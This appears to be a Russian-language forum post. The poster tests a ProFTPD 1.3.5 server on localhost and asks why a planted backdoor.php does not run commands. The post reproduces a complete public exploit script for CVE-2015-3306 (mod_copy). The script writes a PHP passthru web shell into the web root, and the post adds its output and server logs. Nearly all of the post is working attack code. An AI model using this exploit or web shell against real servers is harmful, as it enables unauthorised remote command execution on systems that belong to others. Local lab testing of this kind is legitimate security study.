Hi!
Захотелось погонять.Собрал эфтипушку:
Нодо где-т подправить.
Захотелось погонять.Собрал эфтипушку:
Код:
sudo proftpd --nodaemon
2024-02-13 21:59:27,671 r4ket4 proftpd[983486] r4ket4: ProFTPD 1.3.5 (stable) (built Sun Feb 11 2024 14:04:30 MSK) standalone mode STARTUP
$ python3 exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: <?php echo passthru($_GET['cmd']); ?>
[+] Done
Почему команды не выполняются? GET-запрос просто скачивает backdoor.php
drwxrwxrwx 2 root root 4.0K Feb 13 22:01 .
drwxr-xr-x 3 root root 4.0K Feb 11 13:33 ..
-rw-r--r-- 1 root root 80 Feb 13 22:01 backdoor.php
-rw-r--r-- 1 root root 11K Feb 11 13:33 index.html
/var/www/html/backdoor.php:
proftpd: 127.0.0.1:54516: SITE cpto /tmp/.<?php echo passthru($_GET['cmd']); ?>
/tmp/.<?php echo passthru($_GET['cmd']); ?>:
proftpd: 127.0.0.1:54516: SITE cpto /tmp/.<?php echo passthru($_GET['cmd']); ?>.
exploit.py:
#!/usr/bin/env python
# CVE-2015-3306 exploit by t0kx
# GitHub - t0kx/exploit-CVE-2015-3306: ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container
import re
import socket
import requests
import argparse
class Exploit:
def __init__(self, host, port, path):
self.__sock = None
self.__host = host
self.__port = port
self.__path = path
def __connect(self):
self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.__sock.connect((self.__host, self.__port))
self.__sock.recv(1024)
def __exploit(self):
payload = "<?php echo passthru($_GET['cmd']); ?>"
self.__sock.send(b"site cpfr /proc/self/cmdline\n")
self.__sock.recv(1024)
self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
self.__sock.recv(1024)
self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
self.__sock.recv(1024)
self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
if "Copy successful" in str(self.__sock.recv(1024)):
print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
print("[+] Running whoami: " + self.__trigger())
print("[+] Done")
else:
print("[!] Failed")
def __trigger(self):
data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
match = re.search('cpto /tmp/.([^"]+)', data.text)
return match.group(0)[11::].replace("\n", "")
def run(self):
self.__connect()
self.__exploit()
def main(args):
print("[+] CVE-2015-3306 exploit by t0kx")
print("[+] Exploiting " + args.host + ":" + args.port)
exploit = Exploit(args.host, int(args.port), args.path)
exploit.run()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True)
parser.add_argument('--port', required=True)
parser.add_argument('--path', required=True)
args = parser.parse_args()
main(args)Нодо где-т подправить.
